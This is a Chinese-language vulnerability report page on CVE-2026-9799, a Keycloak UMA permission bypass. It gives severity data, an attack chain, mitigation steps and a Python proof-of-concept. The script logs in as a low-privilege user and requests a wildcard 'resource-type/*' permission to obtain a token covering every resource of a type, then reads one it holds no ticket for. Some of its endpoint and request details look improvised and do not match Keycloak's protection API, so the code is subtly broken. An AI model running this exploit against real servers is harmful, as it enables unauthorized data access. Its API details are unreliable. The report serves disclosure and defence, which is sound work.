IPBUF安全漏洞报告
English
CVE-2026-9799 CVSS 4.6 中危

CVE-2026-9799 Keycloak授权模块UMA权限绕过漏洞

披露日期: 2026-06-25

漏洞信息

漏洞编号
CVE-2026-9799
漏洞类型
访问控制绕过/权限提升
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Red Hat Keycloak (org.keycloak.authorization)

相关标签

KeycloakRed Hat访问控制绕过UMA权限提升信息泄露身份认证授权绕过中危漏洞CVE-2026-9799

漏洞概述

CVE-2026-9799是Red Hat Keycloak授权模块(org.keycloak.authorization)中的一个访问控制绕过漏洞。该漏洞存在于Keycloak的用户管理访问(User-Managed Access, UMA)授权机制中,允许已认证用户利用特定权限请求前缀绕过针对单个资源的访问控制策略。具体而言,当攻击者持有某个资源的UMA授权票据(permission ticket)时,可以通过构造特殊的权限请求前缀,获取同一资源服务器下同类型所有资源的未授权访问权限,即使攻击者并未持有这些特定资源的授权票据。该漏洞的利用需要满足以下前提条件:资源服务器必须配置为PERMISSIVE策略执行模式;受影响的资源必须为类型化资源(typed resources)且启用了ownerManagedAccess属性;且资源类型未受到任何显式策略的保护。漏洞的主要后果为未授权的信息泄露以及资源数据的未授权修改。该漏洞由Red Hat安全团队([email protected])发现并报告,CVSS 3.1评分为4.6,属于中危级别。虽然该漏洞需要低权限认证和用户交互,但其影响范围广泛,可能导致敏感数据泄露和完整性破坏,对依赖Keycloak进行身份和访问管理的多租户系统构成显著威胁。

技术细节

该漏洞的核心问题在于Keycloak授权服务在处理UMA权限票据请求时,未能正确验证权限请求的范围与资源类型的对应关系。在正常流程中,当用户通过UMA协议请求资源访问权限时,授权服务器应严格校验请求中指定的资源是否与用户持有的票据所授权的资源一致。然而,由于代码中对权限请求前缀(permission request prefix)的解析逻辑存在缺陷,攻击者可以通过在权限请求中附加特定的前缀字符串,使授权服务将请求匹配到更广泛的资源类型范围,而非仅限于票据所授权的单个资源。

具体利用方式如下:
1. 攻击者首先通过正常渠道获取某个特定资源的UMA授权票据;
2. 随后在发起权限请求时,在资源标识符前添加特定前缀;
3. Keycloak授权服务在解析该请求时,由于前缀匹配逻辑的缺陷,将请求范围扩展至同一资源服务器下同类型的所有资源;
4. 授权服务返回所有匹配资源的访问令牌,绕过了针对单个资源的访问控制策略。

此漏洞的触发条件包括:资源服务器采用PERMISSIVE策略执行模式(在该模式下,缺少显式策略的资源默认允许访问);资源类型启用了ownerManagedAccess属性;且资源类型未配置任何显式的保护策略。漏洞的影响范围包括机密性(低)和完整性(低),但可用性不受影响。

攻击链分析

STEP 1
步骤1:初始访问
攻击者以低权限用户身份通过正常认证流程登录Keycloak,获取有效的访问令牌(access token)。攻击者无需管理员权限,仅需任意有效的用户凭证。
STEP 2
步骤2:获取合法UMA票据
攻击者通过正常渠道(如资源所有者主动授权)获取某个特定资源(例如resource-A)的UMA权限票据(permission ticket)。该票据仅应授权对resource-A的访问权限。
STEP 3
步骤3:构造恶意权限请求
攻击者在权限请求中使用特定的前缀模式(如resource-type/*),利用Keycloak授权服务在解析权限请求前缀时的逻辑缺陷,将请求范围从单个资源扩展至同类型的所有资源。
STEP 4
步骤4:获取扩展权限令牌
Keycloak授权服务错误地将请求匹配到更广泛的资源范围,返回包含所有同类型资源访问权限的RPT(Requesting Party Token),绕过了针对单个资源的访问控制策略。
STEP 5
步骤5:未授权资源访问
攻击者使用获取的RPT访问未获得授权的资源(如resource-B、resource-C等),实现未授权的信息泄露和数据修改。由于资源服务器配置为PERMISSIVE模式且缺少显式策略保护,访问请求被允许通过。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9799 - Keycloak UMA Permission Bypass PoC # This PoC demonstrates how an authenticated user with a UMA permission ticket # for one resource can bypass per-resource access control to access all # resources of the same type within the resource server. import requests import json # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "resource-server-client" RESOURCE_SERVER_ID = "my-resource-server" # Step 1: Authenticate as a low-privileged user def authenticate(username, password): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "password", "client_id": CLIENT_ID, "username": username, "password": password } response = requests.post(token_url, data=payload) return response.json().get("access_token") # Step 2: Obtain a UMA permission ticket for a specific resource (legitimate) def get_permission_ticket(access_token, resource_id): ticket_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}/permission" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "permission": resource_id } response = requests.post(ticket_url, headers=headers, json=payload) return response.json() # Step 3: Exploit - Use specific permission request prefix to bypass ACL # The key is using a prefix that matches the resource type pattern def exploit_permission_bypass(access_token, ticket, resource_type_prefix): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "ticket": ticket, # Exploit: using a prefix that matches all resources of the same type "permission": f"{resource_type_prefix}/*", "audience": CLIENT_ID } response = requests.post(token_url, data=payload) if response.status_code == 200: return response.json() # Contains RPT with access to ALL matching resources return None # Step 4: Access unauthorized resources with the obtained RPT def access_resource(rpt, resource_id): resource_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}" headers = { "Authorization": f"Bearer {rpt}" } response = requests.get(resource_url, headers=headers) return response.json() # Main exploit flow if __name__ == "__main__": # Authenticate token = authenticate("low_priv_user", "password123") # Get legitimate ticket for resource A ticket = get_permission_ticket(token, "resource-A-id") # Exploit: bypass to get access to ALL resources of type "document" rpt = exploit_permission_bypass(token, ticket, "document") if rpt: # Access unauthorized resource B (no ticket held for this) unauthorized_data = access_resource(rpt["access_token"], "resource-B-id") print(f"[+] Unauthorized access successful: {unauthorized_data}") else: print("[-] Exploit failed")

影响范围

Red Hat Keycloak 所有受支持版本(具体版本范围待官方确认)
org.keycloak.authorization 模块存在缺陷的版本

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)将资源服务器的策略执行模式从PERMISSIVE更改为STRICT模式,确保所有资源访问都需要经过显式策略授权;2)为所有启用ownerManagedAccess的资源类型添加显式的访问控制策略;3)审查现有UMA权限票据的分发流程,限制票据的权限范围;4)监控和审计异常的权限请求,特别是包含通配符或前缀模式的请求;5)考虑暂时禁用受影响资源类型的UMA功能,直到补丁应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表